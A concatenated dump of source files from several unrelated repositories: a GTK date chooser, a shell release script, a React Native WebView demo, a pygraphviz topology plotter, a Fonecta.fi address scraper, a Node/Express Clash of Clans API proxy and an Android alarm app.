gtk_window_set_default_size(GTK_WINDOW(m_window), WIDGET_DEFAULT_HEIGHT, WIDGET_DEFAULT_WIDTH);
gtk_window_set_resizable (GTK_WINDOW(m_window), FALSE);
gtk_window_set_position(GTK_WINDOW(m_window), GTK_WIN_POS_CENTER);
GtkWidget* containerBox = NULL; //main container box
GtkWidget* containerSubBox = NULL; //sub container box for date chooser and time chooser
containerBox = gtk_box_new(GTK_ORIENTATION_VERTICAL, 0);
if(!containerBox)
return FALSE;
gtk_container_add(GTK_CONTAINER(m_window), containerBox);
m_calendarDateChooser = gtk_calendar_new();
if(!m_calendarDateChooser)
return FALSE;
String stringBuffer = String::format("%s %d - %d - %d", "Current Date : ", CURRENT_YEAR(currentTime->tm_year), CURRENT_MONTH(currentTime->tm_mon), currentTime->tm_mday);
m_labelCurrentDate = gtk_label_new(stringBuffer.utf8().data());
if(!m_labelCurrentDate)
return FALSE;
gtk_box_pack_start(GTK_BOX(containerBox), m_labelCurrentDate, FALSE, FALSE, 0);
containerSubBox = gtk_box_new(GTK_ORIENTATION_VERTICAL, 0);
if(!containerSubBox)
return FALSE;
gtk_box_pack_start(GTK_BOX(containerBox), containerSubBox, TRUE, TRUE, 0);
gtk_box_pack_start(GTK_BOX(containerSubBox), m_calendarDateChooser, TRUE, TRUE, 0);
if(m_inputType == TYPE_WEEK)
gtk_calendar_set_display_options(GTK_CALENDAR(m_calendarDateChooser), GtkCalendarDisplayOptions(GTK_CALENDAR_SHOW_WEEK_NUMBERS | GTK_CALENDAR_SHOW_HEADING | GTK_CALENDAR_SHOW_DAY_NAMES));
gtk_calendar_mark_day(GTK_CALENDAR(m_calendarDateChooser), currentTime->tm_mday);
if(m_inputType == TYPE_DATE)
g_signal_connect(GTK_WIDGET(m_calendarDateChooser), "day_selected", G_CALLBACK(dateChooserDayClickedCallback), (gpointer)this);
else if(m_inputType == TYPE_WEEK)
g_signal_connect(GTK_WIDGET(m_calendarDateChooser), "day_selected", G_CALLBACK(weekChooserDayClickedCallback), (gpointer)this);
else if(m_inputType == TYPE_MONTH)
g_signal_connect(GTK_WIDGET(m_calendarDateChooser), "day_selected", G_CALLBACK(monthChooserDayClickedCallback), (gpointer)this);
g_signal_connect(GTK_WIDGET(m_calendarDateChooser), "day_selected_double_click", G_CALLBACK(dateChooserDayDoubleClickedCallback), (gpointer)this);
g_signal_connect(GTK_WIDGET(m_window), "delete_event", G_CALLBACK(gtk_widget_hide_on_delete), NULL);
gtk_widget_show_all(m_window);
return TRUE;
}
void DateChooserGtk::reattachDateTimeChooser()
{
guint year = 0;
guint month = 0;
guint day = 0;
if(!m_window || !m_calendarDateChooser || !m_labelCurrentDate)
return;
gtk_calendar_get_date(GTK_CALENDAR(m_calendarDateChooser), &year, &month, &day);
String stringBuffer = String::format("%s %d - %d - %d", "Current Date : ", year, CURRENT_MONTH(month), day);
gtk_label_set_text (GTK_LABEL(m_labelCurrentDate), stringBuffer.utf8().data());
gtk_window_present(GTK_WINDOW(m_window));
}
}
#endif
<file_sep>/release.sh
clear
echo "===================================="
echo " Web Service Library Release System "
echo "===================================="
packagename=
buildfolder="armbuild"
buildprocess="arm"
datetime=`date +%Y%m%d_%H%M%S`
packagename="WebEngine-""$buildprocess""-""$datetime"".tar.gz"
WebEngine="WebEngine-$buildprocess"
echo "=================================================="
echo " Release info"
echo "=================================================="
echo "build process : $buildprocess"
echo "build folder : $buildfolder"
echo "package name : $packagename"
echo "=================================================="
echo "execution(y/n)?"
read execute
result=
function CheckResult()
{
if [ $1 -eq 1 ]
then
echo "Fail to $2"
echo "cancel release"
exit
else
echo "=============================================="
echo "Success : $2"
echo ""
fi
}
if [ $execute = "y" ]
then
sudo rm -r $WebEngine
sudo mkdir -p $WebEngine
CheckResult $? "make directory : $WebEngine"
sudo mv $buildfolder/.libs $WebEngine/
CheckResult $? "move $buildfolder/.libs to $WebEngine/"
sudo mv $buildfolder/Programs $WebEngine/
CheckResult $? "move $buildfolder/Programs to $WebEngine/"
sudo mv $buildfolder/*.la $WebEngine/
CheckResult $? "move $buildfolder/*.la to $Webengine/"
sudo mv $buildfolder/*.gir $WebEngine/
CheckResult $? "move $buildfolder/*.gir to $WebEngine/"
sudo cp $buildfolder/seedlauncher.sh $WebEngine/
sudo tar cvzf $packagename $WebEngine/
CheckResult $? "$WebEngine packaging... $packagename"
sudo mv $WebEngine/* $buildfolder/
sudo mv $WebEngine/.libs $buildfolder/
sudo rm -r $WebEngine
echo "Checking....."
if [ -e $packagename -a -s $packagename ]
then
echo "Success to Package!!"
exit
else
echo "Fail to package"
fi
elif [ $execute = "n" ]
then
echo "cancel release and packaging."
fi
| 6c991ed9a7441e2e57feaa49a72e1784daac30bb | [
"C++",
"Shell"
] | 15 | C++ | highweb-project/qplusweb | 0af0e86e3f5a90adcdf5916675d03448104458d8 | 1c84f4ef394a00d8fafb8358d3365ac0aa3a88d1 |
refs/heads/main | <repo_name>banky/AndroidReactNativeWebview<file_sep>/App.js
/**
* Sample React Native App
* https://github.com/facebook/react-native
*
* @format
* @flow strict-local
*/
import React from 'react';
import {ScrollView} from 'react-native';
import {WebView} from 'react-native-webview';
const App = () => {
return (
<ScrollView style={{flex: 1, flexDirection: 'column'}}>
<WebView
style={{height: 3000}}
source={{uri: 'https://google.com'}}
androidLayerType="software"
/>
</ScrollView>
);
};
export default App;
| ddb335c67ee7ae8bb6f1c1e1124a10a10605e951 | [
"JavaScript"
] | 1 | JavaScript | banky/AndroidReactNativeWebview | 959a8012e78bf657bff8aa5760da2f1de1f1143a | 96d49fe86e6c774033733e52d47c29ac10994b63 |
refs/heads/master | <repo_name>koh1/gv<file_sep>/tp.py
import json
import sys
import pygraphviz as pgv
if __name__ == '__main__':
p = sys.argv
if len(p) < 3:
print "usage: python %s <file> <layout_prog>" % p[0]
sys.exit(0)
d = json.loads(open(p[1]).read())
g = pgv.AGraph()
g.node_attr['shape'] = 'circle'
# g.node_attr['shape'] = 'point'
g.graph_attr['overlap'] = False
for k,v in d.items():
k_split = k.split('-')
k_layer = int(k_split[1][1:])
# k_name = "%d-%s-%s" % (k_layer, k_split[2], k_split[3])
if not g.has_node(k):
if k_layer == 0:
c = 'gray'
elif k_layer == 1:
c = 'red'
elif k_layer == 2:
c = 'pink'
elif k_layer == 3:
c = 'green'
else:
c = 'blue'
g.add_node(k, label="", color=c)
if not v['parent'] == "":
p_split = v['parent'].split('-')
p_layer = int(p_split[1][1:])
# p_name = "%d-%s-%s" % (p_layer, p_split[2], p_split[3])
if not g.has_node(v['parent']):
if p_layer == 0:
c = 'gray'
elif p_layer == 1:
c = 'red'
elif p_layer == 2:
c = 'pink'
elif p_layer == 3:
c = 'green'
else:
c = 'blue'
g.add_node(v['parent'], label="", color=c)
g.add_edge(v['parent'], k)
g.graph_attr['size'] = "64.0, 32.0"
g.graph_attr['page'] = "64.0, 32.0"
# g.graph_attr['rank'] = "max"
# g.graph_attr['rankdir'] = "LR"
# g.layout(prog='dot')
# g.graph_attr['ratio'] = "compress"
g.graph_attr['ratio'] = "fill"
g.graph_attr['imagescale'] = 300
# g.graph_attr['ratio'] = "expand"
g.layout(prog=p[2])
for n in g.nodes():
d[n]['pos'] = n.attr['pos']
# print type(n)
# print "%s: %s" % (n, n.attr['pos'])
f = open("topo_with_pos.json", 'wb')
f.write(json.dumps(d, sort_keys=True, indent=2))
f.close()
g.draw('file.png')
| d1dd364a52e4c75b51d37fafa50f3bfeee6d72c9 | [
"Python"
] | 1 | Python | koh1/gv | 7253f54a855d6523965e81f1d2b675e9d5825878 | e32539c74c56e974a5bc9ba6eb3234f39cf2e917 |
refs/heads/master | <file_sep>asgiref==3.2.10
astroid==2.4.2
autopep8==1.5.4
Django==3.1
django-crispy-forms==1.9.2
djangorestframework==3.11.1
isort==5.4.2
lazy-object-proxy==1.4.3
mccabe==0.6.1
pkg-resources==0.0.0
psycopg2-binary==2.8.5
pycodestyle==2.6.0
pylint==2.6.0
pytz==2020.1
six==1.15.0
sqlparse==0.3.1
toml==0.10.1
wrapt==1.12.1
<file_sep>from django.db import models
class PinayTiktok(models.Model):
name = models.CharField(max_length=200)
comment = models.TextField()
location = models.CharField(max_length=40)
| 03cbd5fffab30bcc8b5591d3ec22fb5df6345a96 | [
"Python",
"Text"
] | 2 | Text | AjBorbzz/pinay_tiktok_django_app | e82e5132c5472e33789699c9bb67c7115b3e5458 | c539d602c8d8c519057ee1c103f620347071336e |
refs/heads/master | <file_sep># address_parser
Small python app for getting addresses from Fonecta.fi<br/>
<br/>
getting it running:<br/>
<br/>
1. cd to the repository in which parParser.py is located<br/>
2.install pip: "python3 -m pip install --user --upgrade pip"<br/>
(3. optional but recomended) create a vitual env for installing the dependencies:<br/>
"python3 -m pip install --user virtualenv"<br/>
"python3 -m venv env"<br/>
activate the venv:<br/>
"source env/bin/activate"<br/>
4. install BeautifulSoup4 and requests:<br/>
"pip install requests"<br/>
"pip install beautifulsoup4"<br/>
3."python3 parParser.py"<br/>
4.follow instructions<br/>
<br/>
<br/>
running it after first time:<br/>
<br/>
1.cd to repository<br/>
2.activate venv:<br/>
"source env/bin/activate"<br/>
3."python3 parParser.py"<br/>
<br/>
You will see some errors occur, this is usually because of lines that hide the address or name. These lines will not be included in the results file.
<file_sep>from bs4 import BeautifulSoup
import requests
import traceback
import time
import concurrent.futures
from itertools import chain
url = "fuu"
resFile = "fuu"
keywords = []
def parse(soup):
nameList = []
addressList = []
errorCount = 0
for resultItemContainer in soup.find_all(
'div', attrs={'class': 'resultItemRightContainer'}):
try:
nameRaw = resultItemContainer.find(
'a', attrs={
'class': 'resultItemLink resultItemName'
}).get_text()
addressRaw = resultItemContainer.find(
'span',
attrs={
'class': 'resultItemLink resultInfoAddress-mobile'
}).get_text()
if len(nameRaw) > 2 and len(addressRaw) > 7:
name = nameRaw.replace("\n", "")
address = addressRaw.replace("\n", "")
split = address.split(",")
zipSplit = split[1].split(" ") if len(split) == 2 else split[
len(split) - 1].split(" ")
addressList.append({
"street": split[0].strip(),
"zip": zipSplit[1].strip(),
"city": zipSplit[2].strip().upper()
})
nameList.append(name)
except Exception:
errorCount += 1
#print("\n")
#traceback.print_exc()
return nameList, addressList, errorCount
def runParser(page):
lines = []
req = requests.get(url + str(page)) if page > 1 else requests.get(url)
rawSoup = BeautifulSoup(req.text, 'html.parser')
res = parse(rawSoup)
for i in range(0, len(res[0])):
name = res[0][i]
street = res[1][i]["street"]
zipCode = res[1][i]["zip"]
city = res[1][i]["city"]
flag = -1
if keywords:
j = 0
while flag < 0 and j < len(keywords):
if keywords[j] in name.lower().strip():
flag = j + 1
j += 1
line = "{:1s}|{:1s}|{:1s}|{:1s}|{:1d}\n".format(
name, street, zipCode, city, flag)
lines.append(line)
return lines, res[2]
def removeDuplicates(seq):
seen = set()
seen_add = seen.add
return [
x for x in seq if x.split("|")[0].lower().replace("oy", "") not in seen
and not seen_add(x.split("|")[0].lower().replace("oy", ""))
]
def main():
global resFile
global url
global keywords
nameCount = 0
flagged = 0
url = input(
"\n\n\nPaste the url for your Fonecta.fi search results page below this line\n"
)
pagesInput = input(
"\nhow many result pages should be filtered? (press enter if all pages should be filtered)\n"
)
if not pagesInput:
req = requests.get(url)
pageButtons = list(
BeautifulSoup(req.text,
'html.parser').findAll('a',
attrs={'class':
'pageButton'}))
pageButtons = list(map(lambda x: int(x.get_text()), pageButtons))
pages = max(pageButtons) if pageButtons else 1
keywords = list(
map(
lambda x: x.strip().lower(),
input(
"\ntype keywords for filtering names, separated by a space e.g 'evidensia klinikka sairaala' (press enter if no keywords)\n"
).split(" ")))
while "" in keywords:
keywords.remove("")
fileName = input("\nProvide a name for the output / result file\n")
print(
"\n...getting data, running scrips, doing stuff, working hard or hardly working? ..."
)
startTime = time.time()
if len(fileName) > 0:
resFile = open(fileName + ".csv", "w")
firstPageParse = runParser(1)
lines = firstPageParse[0]
errorCount = firstPageParse[1]
if pages > 1:
url = url.split("?")[0] + "?page="
with concurrent.futures.ProcessPoolExecutor() as executor:
parserRunns = executor.map(runParser, range(2, pages + 1))
for run in parserRunns:
errorCount += run[1]
lines.extend(run[0])
namesTotal = len(lines)
linesWithoutDuplicates = removeDuplicates(lines)
for line in linesWithoutDuplicates:
nameCount += 1
resFile.write(line)
if line[-3:-1] != "-1":
flagged += 1
resFile.close()
print("\n\n\nrunning the program took {:1f}s".format(time.time() -
startTime))
print("\nData was taken from {:1d} result pages".format(pages))
print("{:1d} names in total were found".format(namesTotal))
print("{:1d} unique names ({:1d} duplicates were removed)".format(
nameCount, namesTotal - nameCount))
print("{:1d} lines were flagged by some keyword".format(flagged))
print("\n{:1d} errors occured".format(errorCount))
else:
print("filename can't be empty!")
main() | 41e8737238665d3b7affbb819edc2411c2a30146 | [
"Markdown",
"Python"
] | 2 | Markdown | oskarsandas/address_parser | 9c97c7c11a4e9c550bb9429e5d362f1704300a7c | 5eb736833b7ef83c9111316b0eb391fea89769a3 |
refs/heads/master | <file_sep>import express from 'express';
import path from 'path';
import cluster from 'cluster';
import router from './routes/index';
const numCPUs = require('os').cpus().length;
const isDev = process.env.NODE_ENV !== 'production';
const PORT = process.env.PORT || 5000;
// Multi-process to utilize all CPU cores.
if (!isDev && cluster.isMaster) {
console.error(`Node cluster master ${process.pid} is running`);
// Fork workers.
for (let i = 0; i < numCPUs; i++) {
cluster.fork();
}
cluster.on('exit', (worker, code, signal) => {
console.error(`Node cluster worker ${worker.process.pid} exited: code ${code}, signal ${signal}`);
});
} else {
const app = express();
// Priority serve any static files.
app.use(express.static(path.resolve(__dirname, '../react-ui/build')));
// app.use(bodyParser.urlencoded({ extended: false }));
app.use(router);
// All remaining requests return the React app, so it can handle routing.
app.get('*', function(request, response) {
response.sendFile(path.resolve(__dirname, '../react-ui/build', 'index.html'));
});
app.listen(PORT, function() {
console.error(`Node ${isDev ? 'dev server' : 'cluster worker ' + process.pid}: listening on port ${PORT}`);
});
}
<file_sep>const {CssColors, CssSizes, CssTypography, CssAnimations} = require('@domo/bits-react');
const isProduction = process.env.NODE_ENV === 'production';
module.exports = {
plugins: [
require('postcss-preset-env')({
autoprefixer: {
grid: true
},
features: {
'custom-properties': {
//usable as var(--colorDomoBlue)
variables: Object.assign({}, CssColors, CssSizes, CssTypography, CssAnimations),
preserve: false,
warnings: true,
noValueNotifications: 'error',
},
},
}),
isProduction && require('cssnano')({preset: 'default'}),
].filter(Boolean),
};<file_sep>declare namespace CLASH {
interface ISearchClanResponse {
success: boolean;
message: string;
data: {
items: ISearchClanResult[];
};
paging: {
cursors: object;
};
}
interface ISearchClanItems {
items?: CLASH.ISearchClanResult[]
}
interface ISearchClanResult {
tag: string;
name: string;
type: string;
location: {
id: number;
name: string;
isCountry: boolean;
countryCode: string;
};
badgeUrls: {
small: string;
large: string;
medium: string;
};
clanLevel: number;
clanPoints: number;
clanVersusPoints: number;
requiredTrophies: number;
warFrequency: string;
warWinStreak: number;
warWins: number;
warTies: number;
warLosses: number;
isWarLogPublic: boolean;
members: number;
}
}
<file_sep>import { Request, Response } from 'express';
import fetch from 'node-fetch';
const prod_bearer = Symbol('prod_bearer');
const dev_bearer = Symbol('dev_bearer');
class ClashController {
private [prod_bearer]: string;
private [dev_bearer]: string;
constructor() {
this[prod_bearer] =
'<KEY>';
this[dev_bearer] =
'<KEY>';
}
private doRequest = async (req: any) => {
try {
const response = await req;
const json = await response.json();
return json;
} catch (error) {}
};
public getCurrentIP = (_req: Request, _res: Response) => {
return require('dns').lookup(require('os').hostname(), function(_err: any, add: any, _fam: any) {
_res.status(200).send({
success: 'true',
message: 'IP Retrieved Successfully',
ip: add,
});
});
};
public searchClans = (_req: Request, _res: Response) => {
// https://api.clashofclans.com/v1/clans?name=BYU%20Bandits&warFrequency=1&locationId=1&minMembers=1&maxMembers=1&minClanPoints=1&minClanLevel=1&limit=1&after=1&before=1
const url: string = `https://api.clashofclans.com/v1/clans?name=${encodeURIComponent(_req.query.query)}`;
const env = process.env.NODE_ENV || 'dev';
const _bearer = env === 'production' ? this[prod_bearer] : this[dev_bearer];
const r = fetch(url, {
method: 'get',
headers: {
Accept: 'application/json',
Authorization: `Bearer ${_bearer}`,
},
});
return this.doRequest(r).then((data) => {
return _res.status(200).send({ success: 'true', message: 'Searched for clan', data });
});
};
getTodo(_req: Request, _res: Response) {
const id = parseInt(_req.params.id, 10);
// db.map((todo) => {
// if (todo.id === id) {
// return _res.status(200).send({
// success: 'true',
// message: 'todo retrieved successfully',
// todo,
// });
// }
// });
return _res.status(404).send({
success: 'false',
message: 'todo does not exist',
});
}
createTodo(_req: Request, _res: Response) {
if (!_req.body.title) {
return _res.status(400).send({
success: 'false',
message: 'title is required',
});
} else if (!_req.body.description) {
return _res.status(400).send({
success: 'false',
message: 'description is required',
});
}
const todo = {
// id: db.length + 1,
title: _req.body.title,
description: _req.body.description,
};
// db.push(todo);
return _res.status(201).send({
success: 'true',
message: 'todo added successfully',
todo,
});
}
updateTodo(_req: Request, _res: Response) {
const id = parseInt(_req.params.id, 10);
let todoFound;
let itemIndex;
// db.map((todo, index) => {
// if (todo.id === id) {
// todoFound = todo;
// itemIndex = index;
// }
// });
if (!todoFound) {
return _res.status(404).send({
success: 'false',
message: 'todo not found',
});
}
if (!_req.body.title) {
return _res.status(400).send({
success: 'false',
message: 'title is required',
});
} else if (!_req.body.description) {
return _res.status(400).send({
success: 'false',
message: 'description is required',
});
}
// const newTodo = {
// id: todoFound.id,
// title: _req.body.title || todoFound.title,
// description: _req.body.description || todoFound.description,
// };
// db.splice(itemIndex, 1, newTodo);
return _res.status(201).send({
success: 'true',
message: 'todo added successfully',
// newTodo,
});
}
deleteTodo(_req: Request, _res: Response) {
const id = parseInt(_req.params.id, 10);
let todoFound;
let itemIndex;
// db.map((todo, index) => {
// if (todo.id === id) {
// todoFound = todo;
// itemIndex = index;
// }
// });
if (!todoFound) {
return _res.status(404).send({
success: 'false',
message: 'todo not found',
});
}
// db.splice(itemIndex, 1);
return _res.status(200).send({
success: 'true',
message: 'Todo deleted successfuly',
});
}
}
const clashController = new ClashController();
export default clashController;
<file_sep>import { Request, Response } from 'express';
/* eslint-disable class-methods-use-this */
class TodosController {
getAllTodos(_req: Request, _res: Response) {
return _res.status(200).send({
success: 'true',
message: 'todos retrieved successfully',
// todos: db,
});
}
getTodo(_req: Request, _res: Response) {
const id = parseInt(_req.params.id, 10);
// db.map((todo) => {
// if (todo.id === id) {
// return _res.status(200).send({
// success: 'true',
// message: 'todo retrieved successfully',
// todo,
// });
// }
// });
return _res.status(404).send({
success: 'false',
message: 'todo does not exist',
});
}
createTodo(_req: Request, _res: Response) {
if (!_req.body.title) {
return _res.status(400).send({
success: 'false',
message: 'title is required',
});
} else if (!_req.body.description) {
return _res.status(400).send({
success: 'false',
message: 'description is required',
});
}
const todo = {
// id: db.length + 1,
title: _req.body.title,
description: _req.body.description,
};
// db.push(todo);
return _res.status(201).send({
success: 'true',
message: 'todo added successfully',
todo,
});
}
updateTodo(_req: Request, _res: Response) {
const id = parseInt(_req.params.id, 10);
let todoFound;
let itemIndex;
// db.map((todo, index) => {
// if (todo.id === id) {
// todoFound = todo;
// itemIndex = index;
// }
// });
if (!todoFound) {
return _res.status(404).send({
success: 'false',
message: 'todo not found',
});
}
if (!_req.body.title) {
return _res.status(400).send({
success: 'false',
message: 'title is required',
});
} else if (!_req.body.description) {
return _res.status(400).send({
success: 'false',
message: 'description is required',
});
}
// const newTodo = {
// id: todoFound.id,
// title: _req.body.title || todoFound.title,
// description: _req.body.description || todoFound.description,
// };
// db.splice(itemIndex, 1, newTodo);
return _res.status(201).send({
success: 'true',
message: 'todo added successfully',
// newTodo,
});
}
deleteTodo(_req: Request, _res: Response) {
const id = parseInt(_req.params.id, 10);
let todoFound;
let itemIndex;
// db.map((todo, index) => {
// if (todo.id === id) {
// todoFound = todo;
// itemIndex = index;
// }
// });
if (!todoFound) {
return _res.status(404).send({
success: 'false',
message: 'todo not found',
});
}
// db.splice(itemIndex, 1);
return _res.status(200).send({
success: 'true',
message: 'Todo deleted successfuly',
});
}
}
const todoController = new TodosController();
export default todoController;
<file_sep>// Transpile all code following this line with babel and use '@babel/preset-env' (aka ES6) preset.
// @ts-ignore
require('@babel/register')({
presets: ['@babel/typescript', '@babel/preset-env'],
// Setting this will remove the currently hooked extensions of `.es6`, `.es`, `.jsx`, `.mjs`
// and .js so you'll have to add them back if you want them to be used again.
extensions: ['.es6', '.es', '.jsx', '.js', '.mjs', '.ts', '.tsx'],
plugins: ['transform-class-properties', '@babel/transform-runtime'],
});
// Import the rest of our application.
module.exports = require('./index.ts');
<file_sep>import express from 'express';
import todoController from '../controllers/todos';
import clashController from '../controllers/clash';
const router = express.Router();
// Answer API requests.
router.get('/api', function(req, res) {
res.set('Content-Type', 'application/json');
res.send('{"message":"You have found the api"}');
});
router.get('/api/v1/todos', todoController.getAllTodos);
router.get('/api/v1/todos/:id', todoController.getTodo);
router.post('/api/v1/todos', todoController.createTodo);
router.put('/api/v1/todos/:id', todoController.updateTodo);
router.delete('/api/v1/todos/:id', todoController.deleteTodo);
router.get('/api/clash', function(req, res) {
res.set('Content-Type', 'application/json');
res.send('{"message":"You found the clash API"}');
});
router.get('/api/clash/currentIp', clashController.getCurrentIP);
router.get('/api/clash/clans/search', clashController.searchClans);
export default router;
<file_sep>import { IPromise } from 'q';
const doFetch = (config: string, def: any) => {
return fetch(config).then((d) => {
if (d.ok) {
return d.json();
}
throw new Error(d.statusText);
});
};
class ClashService {
private base: string = '/api/clash/';
public searchClans(query: string): IPromise<{ items: CLASH.ISearchClanResult[] }> {
const url = `${this.base}clans/search?query=${query ? encodeURIComponent(query) : ''}`;
return doFetch(url, []).then((resp: CLASH.ISearchClanResponse) => resp.data);
}
}
export default new ClashService();
<file_sep>#!/bin/sh
if [ -z "$1" ]; then
files=$(find react-ui/src -type f | grep -E "\.(ts|js|css|tsx)\$")
else
files="$@"
fi
prettier --write $files --config ./.prettierrc
if [ -z "$1" ]; then
files=$(find server -type f | grep -E "\.(ts|js|css|tsx)\$")
else
files="$@"
fi
prettier --write $files --config ./.prettierrc | 0bbe973c14bc85e28a8df07532d33c55f2be2fc7 | [
"JavaScript",
"TypeScript",
"Shell"
] | 9 | TypeScript | Jonathan-Law/byu-bandits | 54baaa59a75f74d879459d1ec493573c8b751e2c | 4f1afbd82ecc32ac8b14e5e4a5da5e8f0646206f |
refs/heads/master | <file_sep># Assignment 4.2
def len_word(wdlist):
lenlist = []
for wd in wdlist:
lenlist.append(len(wd))
return lenlist
input_list = ['one','two','three','four']
print(len_word(input_list))
def is_vowel(str1):
vowel_set = {'a','e','i','o','u'}
if str1 in vowel_set:
return True
else:
return False
print(is_vowel('b'))
print(is_vowel('e'))<file_sep># ACD_MDS_Python_Session-4_Assignment-4.2 | 57b94bb6baa7defe1fb60b48f9dcc92c1826c16f | [
"Markdown",
"Python"
] | 2 | Python | rvsreeni/ACD_MDS_Python_Session-4_Assignment-4.2 | c1dc3db7eca95af67578249b397fa51228785b58 | 0bbac94b0c25f6a1f2ca11ca880120f6470dc67d |
refs/heads/master | <repo_name>shubhamgrg04/AlarmBot<file_sep>/src/com/apkbot/alarmbot/WakeUp.java
package com.apkbot.alarmbot;
import android.app.Activity;
import android.app.Notification;
import android.media.Ringtone;
import android.media.RingtoneManager;
import android.net.Uri;
import android.os.Bundle;
import android.os.Handler;
import android.os.Vibrator;
import android.view.View;
import android.view.WindowManager;
import android.widget.TextView;
public class WakeUp extends Activity {
protected String hour;
protected String minute;
protected String ampm;
protected String message;
protected Ringtone rt;
protected String alert;
protected Thread thread;
protected int vibrate;
Vibrator vibrator;
Handler handler;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.wakeup);
getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED);
hour = getIntent().getStringExtra("hour");
alert = getIntent().getStringExtra("alert");
minute = getIntent().getStringExtra("minute");
ampm = getIntent().getStringExtra("ampm");
message = getIntent().getStringExtra("message");
vibrate = getIntent().getIntExtra("vibrate", 0);
if(vibrate == 1){
vibrator = (Vibrator) getSystemService(VIBRATOR_SERVICE);
long[] pattern = {0, 1000, 3000};
vibrator.vibrate(pattern, 0);
}
((TextView)findViewById(R.id.alarm_time)).setText(hour + ":" + minute );
((TextView)findViewById(R.id.ampm)).setText(ampm);
((TextView)findViewById(R.id.message)).setText(message);
if(alert != null){
rt = RingtoneManager.getRingtone(this, Uri.parse(alert));
rt.play();
}
handler = new Handler();
handler.postDelayed(new Runnable() {
public void run() {
Notification notification = new Notification(R.drawable.addnew, "Alarm at 06:30 pm was expired", Notification.FLAG_FOREGROUND_SERVICE);
vibrator.cancel();
finish();
}
}, 10000);
}
public void stop (View view){
vibrator.cancel();
finish();
}
@Override
protected void onDestroy() {
//rt.stop();
vibrator.cancel();
super.onDestroy();
}
}
<file_sep>/src/com/apkbot/alarmbot/AlarmPreferences.java
package com .apkbot.alarmbot;
import java.util.Calendar;
import android.app.TimePickerDialog;
import android.content.Context;
import android.media.Ringtone;
import android.media.RingtoneManager;
import android.net.Uri;
import android.os.Bundle;
import android.preference.CheckBoxPreference;
import android.preference.EditTextPreference;
import android.preference.Preference;
import android.preference.Preference.OnPreferenceChangeListener;
import android.preference.Preference.OnPreferenceClickListener;
import android.preference.PreferenceActivity;
import android.preference.RingtonePreference;
import android.widget.TimePicker;
import android.widget.Toast;
public class AlarmPreferences extends PreferenceActivity implements TimePickerDialog.OnTimeSetListener {
public Preference timePreference;
public CheckBoxPreference enabledPreference;
public CheckBoxPreference vibratePreference;
public CheckBoxPreference auto_callPreference;
public EditTextPreference messagePreference;
public RingtonePreference alertPreference;
private int mhour;
private int mminute;
private boolean menabled;
private boolean mauto_call;
private boolean mvibrate;
private String mmessage;
private String malert;
public static Toast toast;
public static Context context;
protected int id;
static Ringtone rt;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
addPreferencesFromResource(R.xml.alarmpreferences);
timePreference = findPreference("time");
enabledPreference = (CheckBoxPreference) findPreference("enabled");
vibratePreference = (CheckBoxPreference) findPreference("vibrate");
auto_callPreference = (CheckBoxPreference) findPreference("auto_call");
messagePreference = (EditTextPreference) findPreference("message");
alertPreference = (RingtonePreference) findPreference("alert");
alertPreference.setShowDefault(true);
alertPreference.setShowSilent(false);
alertPreference.setDefaultValue(RingtoneManager.getDefaultUri(RingtoneManager.TYPE_ALARM).toString());
context = this;
id = getIntent().getIntExtra("id", -1);
fillUpTheFields(id);
updataAlarmPreferences();
timePreference.setOnPreferenceClickListener(new OnPreferenceClickListener() {
public boolean onPreferenceClick(Preference arg0) {
new TimePickerDialog(AlarmPreferences.this, AlarmPreferences.this , mhour, mminute, false).show();
return true;
}
});
auto_callPreference.setOnPreferenceChangeListener(new OnPreferenceChangeListener() {
public boolean onPreferenceChange(Preference arg0, Object arg1) {
mauto_call = (Boolean)arg1;
return true;
}
});
enabledPreference.setOnPreferenceChangeListener(new OnPreferenceChangeListener() {
public boolean onPreferenceChange(Preference preference, Object newValue) {
if((Boolean)newValue == true){
menabled = true;
if(id == -1)
addalarm(getAlarm());
else
updateAlarm(getAlarm(), id);
setAlarm(getAlarm());
setToast(AlarmPreferences.this, "Alarm set for " + Alarm.calculateTimeString(getAlarm()) + " from now.");
toast.show();
}
else {
AlarmHelper.unsetAlarm(id);
menabled = false;
updateAlarm(getAlarm(), id);
}
return true;
}
});
messagePreference.setOnPreferenceChangeListener(new OnPreferenceChangeListener() {
public boolean onPreferenceChange(Preference preference, Object newValue) {
messagePreference.setSummary((String)newValue);
mmessage = (String)newValue;
return true;
}
});
alertPreference.setOnPreferenceChangeListener(new OnPreferenceChangeListener() {
public boolean onPreferenceChange(Preference preference, Object newValue) {
malert = (String)newValue;
alertPreference.setSummary(getRingtoneTitle(Uri.parse(malert)));
return true;
}
});
vibratePreference.setOnPreferenceChangeListener(new OnPreferenceChangeListener() {
public boolean onPreferenceChange(Preference preference, Object newValue) {
mvibrate = (Boolean)newValue;
return true;
}
});
}
public void onTimeSet(TimePicker view, int hourOfDay, int minute) {
mhour = hourOfDay;
mminute = minute;
timePreference.setSummary(Alarm.getFormattedHour(mhour) + ":" + Alarm.getFormattedMinute(mminute) + " " + Alarm.getAmPm(mhour));
}
public void updataAlarmPreferences(){
timePreference.setSummary(Alarm.getFormattedHour(mhour) + ":" + Alarm.getFormattedMinute(mminute) + " " + Alarm.getAmPm(mhour));
enabledPreference.setChecked(menabled);
vibratePreference.setChecked(mvibrate);
auto_callPreference.setChecked(mauto_call);
messagePreference.setSummary(mmessage);
alertPreference.setSummary(getRingtoneTitle(Uri.parse(malert)));
}
public void fillUpTheFields (int id){
if(id == -1){
Calendar calendar = Calendar.getInstance();
mhour = calendar.get(calendar.HOUR_OF_DAY);
mminute = calendar.get(calendar.MINUTE);
menabled = false;
mvibrate = false;
mauto_call = false;
mmessage = "WakeUp!";
malert = RingtoneManager.getDefaultUri(RingtoneManager.TYPE_ALARM).toString();
}
else{
Alarm alarm = AlarmHelper.findalarmbyid(id);
mhour = alarm.hourOfDay;
mminute = alarm.minute;
menabled = Alarm.getBooleanFromInt(alarm.enabled);
mvibrate = Alarm.getBooleanFromInt(alarm.vibrate);
mauto_call =Alarm.getBooleanFromInt(alarm.auto_call);
mmessage = alarm.message;
malert = alarm.alert;
}
}
public Alarm getAlarm(){
Alarm alarm = new Alarm();
alarm.hourOfDay = mhour;
alarm.minute = mminute;
alarm.setTimeInMillis();
